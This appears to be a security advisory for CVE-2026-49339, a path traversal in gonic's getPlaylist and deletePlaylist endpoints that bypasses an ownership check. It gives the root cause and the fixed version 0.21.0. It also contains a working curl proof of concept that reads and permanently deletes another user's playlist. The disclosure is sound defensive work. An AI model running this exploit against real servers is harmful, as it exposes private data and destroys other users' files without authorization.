high · 7.1CVE-2026-49339Jun 26, 2026

CVE-2026-49339: gonic Playlist ID Path Traversal Bypasses Ownership Check

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Any logged-in user of the gonic music server can read or delete another user's private playlists by crafting a playlist ID that smuggles directory traversal sequences past the ownership check.

Packagego.senan.xyz/gonic
Ecosystemgo
Affected<= 0.20.1
Fixed in0.21.0

The problem

gonic stores playlists as M3U files under a per-user directory (`<basePath>/<userID>/<name>.m3u`). The `getPlaylist` and `deletePlaylist` endpoints decode the `id` parameter from base64 and pass the raw string directly to `playlist.Store.Read` and `Store.Delete`.

The ownership check extracts a user ID from only the first path segment of the decoded string, using `userIDFromPath`. Because `filepath.Join` then resolves `..` segments without any containment guard, an attacker can prefix their own user ID, append traversal sequences, and escape `basePath` entirely.

The check sees the attacker's own ID and passes, while the filesystem resolves to the victim's file.

Proof of concept

bash
# Attacker is user ID 2, target playlist belongs to user ID 1.
# Raw relative path: "2/../1/shared.m3u"
# base64-URL-encode it, then prefix with "pl-"

RAW='2/../1/shared.m3u'
ID="pl-$(printf '%s' "$RAW" | base64 -w0 | tr '+/' '-_')"

curl -s "http://gonic-host/rest/getPlaylist.view?u=attacker&p=pass&c=poc&v=1.16.1&f=json&id=$ID" \
  | python3 -m json.tool
# Response leaks victim playlist name, comment, IsPublic flag, and song list.

# Same technique against deletePlaylist permanently removes the target file:
curl -s "http://gonic-host/rest/deletePlaylist.view?u=attacker&p=pass&c=poc&v=1.16.1&f=json&id=$ID"

The root cause is in `playlist/playlist.go`: `Store.Read` and `Store.Delete` both call `filepath.Join(s.basePath, relPath)` with no check that the result stays under `s.basePath`. The ownership guard in `userIDFromPath` reads only `strings.Split(path, "/")[0]`, so a path like `2/../1/shared.m3u` satisfies `playlist.UserID == attacker.ID` while `filepath.Join` silently resolves the `..` and opens the victim's file.

The patch (commit `0824bed`) adds a `contained()` helper that calls `filepath.Rel(s.basePath, absPath)` and rejects any result that starts with `..`. This makes path containment a structural precondition for all three store methods (Read, Write, Delete) rather than trusting the first path segment for authorization.

The fix

Upgrade to gonic 0.21.0 (commit `0824bed88f6bbc490ba28bf09d28e5dfeb07b445`). The fix adds a `contained()` guard in `playlist/playlist.go` that rejects any decoded path whose resolved absolute form escapes `s.basePath`. No configuration change is needed; the fix is applied automatically on upgrade.

Reported by Vishal Shukla (@shukla304 / @therawdev).

References: [1][2][3][4][5]